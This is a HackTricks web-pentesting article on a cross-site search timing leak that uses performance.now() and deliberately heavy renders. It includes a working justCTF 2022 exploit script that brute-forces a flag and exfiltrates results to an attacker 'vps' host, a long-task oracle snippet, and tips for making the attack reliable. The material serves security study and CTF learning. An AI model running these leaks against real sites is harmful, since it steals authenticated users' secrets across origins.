performance-now-force-heavy-task.md (10223B)
1 --- 2 title: "performance.now() + Forced Heavy Task" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/xs-search/performance.now-+-force-heavy-task.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/performance.now-%2B-force-heavy-task.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # `performance.now()` + Forced Heavy Task 14 15 **Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**<sup>[[1]](#references)</sup> 16 17 In this challenge, the user could send thousands of characters. When the candidate flag substring matched, that large string was reflected to the bot. The attacker could therefore distinguish a matching candidate by measuring the extra work caused by the much larger response.<sup>[[1]](#references)</sup> 18 19 The important idea is that the **oracle is not just the request time**. The attacker intentionally makes one branch do **much more work** than the other one, and then measures the difference with `performance.now()` around an embedded cross-origin navigation. In practice the extra work can come from **larger reflected HTML/text**, **more DOM nodes to parse/layout/paint**, or even **expensive validation/highlighting logic** that only happens in one branch.<sup>[[2]](#references)</sup> 20 21 > [!WARNING] 22 > In the original challenge, a large explicit object width and height amplified the rendering-time difference; the default viewport was too small to produce a reliable signal.<sup>[[1]](#references)</sup> 23 24 ```html 25 <!DOCTYPE html> 26 <html> 27 <head> </head> 28 <body> 29 <img src="https://deelay.me/30000/https://example.com" /> 30 <script> 31 fetch("https://deelay.me/30000/https://example.com") 32 33 function send(data) { 34 fetch("http://vps?data=" + encodeURIComponent(data)).catch((err) => 1) 35 } 36 37 function leak(char, callback) { 38 return new Promise((resolve) => { 39 let ss = "just_random_string" 40 let url = 41 `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=` + 42 ss[Math.floor(Math.random() * ss.length)].repeat(1000000) 43 let start = performance.now() 44 let object = document.createElement("object") 45 object.width = "2000px" 46 object.height = "2000px" 47 object.data = url 48 object.onload = () => { 49 object.remove() 50 let end = performance.now() 51 resolve(end - start) 52 } 53 object.onerror = () => console.log("Error event triggered") 54 document.body.appendChild(object) 55 }) 56 } 57 58 send("start") 59 60 let charset = "abcdefghijklmnopqrstuvwxyz_}".split("") 61 let flag = "justCTF{" 62 63 async function main() { 64 let found = 0 65 let notFound = 0 66 for (let i = 0; i < 3; i++) { 67 await leak("..") 68 } 69 for (let i = 0; i < 3; i++) { 70 found += await leak("justCTF") 71 } 72 for (let i = 0; i < 3; i++) { 73 notFound += await leak("NOT_FOUND123") 74 } 75 76 found /= 3 77 notFound /= 3 78 79 send("found flag:" + found) 80 send("not found flag:" + notFound) 81 82 let threshold = found - (found - notFound) / 2 83 send("threshold:" + threshold) 84 85 if (notFound > found) { 86 return 87 } 88 89 // exploit 90 while (true) { 91 if (flag[flag.length - 1] === "}") { 92 break 93 } 94 for (let char of charset) { 95 let trying = flag + char 96 let time = 0 97 for (let i = 0; i < 3; i++) { 98 time += await leak(trying) 99 } 100 time /= 3 101 send("char:" + trying + ",time:" + time) 102 if (time >= threshold) { 103 flag += char 104 send(flag) 105 break 106 } 107 } 108 } 109 } 110 111 main() 112 </script> 113 </body> 114 </html> 115 ``` 116 117 ## When this works best 118 119 This pattern is most useful when a candidate query changes **how expensive the target page is to process**, not only the response status code. Typical places to look for this are:<sup>[[1]](#references)[[2]](#references)</sup> 120 121 - **Search endpoints** that reflect a very large body only on a hit. 122 - **Preview/render endpoints** (Markdown, HTML, syntax highlighting, diff viewers) where one branch creates much more DOM/layout work. 123 - **Validation/filtering gadgets** where one input triggers expensive parsing, regex processing, highlighting, or templating while the other branch exits fast. Modern examples include `pattern` validation / ReDoS-style regex backtracking and syntax highlighters that only do the expensive path on a hit. 124 - **Same-site HTML injection** scenarios where you can embed an authenticated endpoint with `<object>` / `<iframe>` and turn a hit/miss difference into a timing oracle. 125 126 If the hit/miss difference is only a few bytes on the wire, the signal is usually too noisy. The trick becomes practical when you can amplify the positive or negative branch into a **clearly heavier parse/render/application task**. 127 128 ## Practical reliability notes 129 130 - **Warm up first:** the first few measurements are often skewed by DNS, TCP/TLS setup, process scheduling, or JIT compilation. Do a few dummy requests before calibrating the threshold. 131 - **Defeat caches explicitly:** add random query parameters or random filler so repeated probes do not collapse into the HTTP cache or a reused application result. 132 - **Compression can kill the signal:** if the only difference is repeated text, gzip/brotli can shrink it heavily. Prefer responses that also increase **DOM size**, **layout work**, or **client-side processing time**. 133 - **Keep the embedded viewport large and deterministic:** fixed `width`/`height` on `<object>` or `<iframe>` helps because a tiny default viewport may hide the rendering cost you are trying to amplify. 134 - **Use median/average from several runs:** recompute a threshold from a known-hit and a known-miss sample, then classify each candidate with multiple probes instead of trusting one measurement. 135 - **If timer precision is coarse, amplify the task more:** a forced branch that regularly creates `50ms+` long tasks can sometimes still be classified with other clocks or `PerformanceObserver`, but only if the branch is truly heavy. 136 - **Verify authenticated embedding:** SameSite cookie rules, third-party-cookie restrictions, CSP `frame-ancestors`, X-Frame-Options, CORP, and Fetch Metadata checks can prevent the cross-origin object/frame from reaching the authenticated state whose secret you want to test.<sup>[[2]](#references)</sup> 137 - **Add timeouts and error handling:** an `object`/`iframe` load event is not guaranteed. A failed candidate must not stall the entire extraction loop. 138 139 ## Browser reality in 2025+ 140 141 A useful mental model is: **do not depend on ultra-fine timers; depend on a huge workload gap**. Browsers coarsen `performance.now()` in non-isolated contexts, so this technique is much more reliable when the hit/miss delta is in the **multi-millisecond** range, not when trying to distinguish tiny sub-millisecond differences.<sup>[[5]](#references)</sup> 142 143 In theory you can recover better timer precision from a **cross-origin isolated** page, but in practice that usually conflicts with generic XS-Search targets: isolation requires `COOP: same-origin` plus `COEP: require-corp` or `credentialless`, and `COEP` blocks many arbitrary cross-origin embeds unless the target explicitly opts into `CORP`/`CORS` or is loaded without credentials. For real attacks, assume you will usually be measuring from a **non-isolated attacker page** and design the heavy branch accordingly.<sup>[[4]](#references)</sup> 144 145 ## Long Tasks API as a coarse Boolean oracle 146 147 If the heavy branch is expected to block the UI thread for **`>=50ms`**, you can also watch for `longtask` entries instead of trusting raw deltas only. This is especially useful when the response branch triggers **expensive layout/reflow/rendering** or client-side validation that creates a very visible stall.<sup>[[3]](#references)</sup> 148 149 > [!NOTE] 150 > The Long Tasks API has **limited browser support**, so treat it as an additional oracle, not as the only one. 151 152 <details> 153 <summary>Example: using <code>PerformanceObserver</code> as an extra oracle</summary> 154 155 ```html 156 <script> 157 const longtasks = [] 158 new PerformanceObserver((list) => { 159 for (const entry of list.getEntries()) longtasks.push(entry.duration) 160 }).observe({ type: "longtask", buffered: true }) 161 162 async function leakWithLongTasks(url) { 163 longtasks.length = 0 164 const obj = document.createElement("object") 165 obj.width = "2000px" 166 obj.height = "2000px" 167 obj.data = url 168 document.body.appendChild(obj) 169 await new Promise((resolve) => (obj.onload = resolve)) 170 obj.remove() 171 return Math.max(0, ...longtasks) >= 50 172 } 173 </script> 174 ``` 175 </details> 176 177 This won't magically fix a weak oracle. It only helps when one branch really does produce **observable long tasks** and the other branch does not. If both branches stay below the long-task threshold, go back to **making the target do more work** or use another leak primitive. 178 179 For alternative clocks and contention-based variants, also check: 180 181 [Event Loop Blocking + Lazy Images](/hacktricks/pentesting-web/xs-search/event-loop-blocking-lazy-images) 182 183 ## References 184 185 - [1] [justCTF 2022 XS-Leak Writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) 186 - [2] [XS-Leaks Wiki: Execution Timing](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/) 187 - [3] [MDN: PerformanceLongTaskTiming](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) 188 - [4] [PortSwigger Research: Listen to the whispers - web timing attacks that actually work](https://portswigger.net/research/listen-to-the-whispers-web-timing-attacks-that-actually-work) 189 - [5] [MDN - `Performance.now()` security requirements and reduced precision](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now#security_requirements)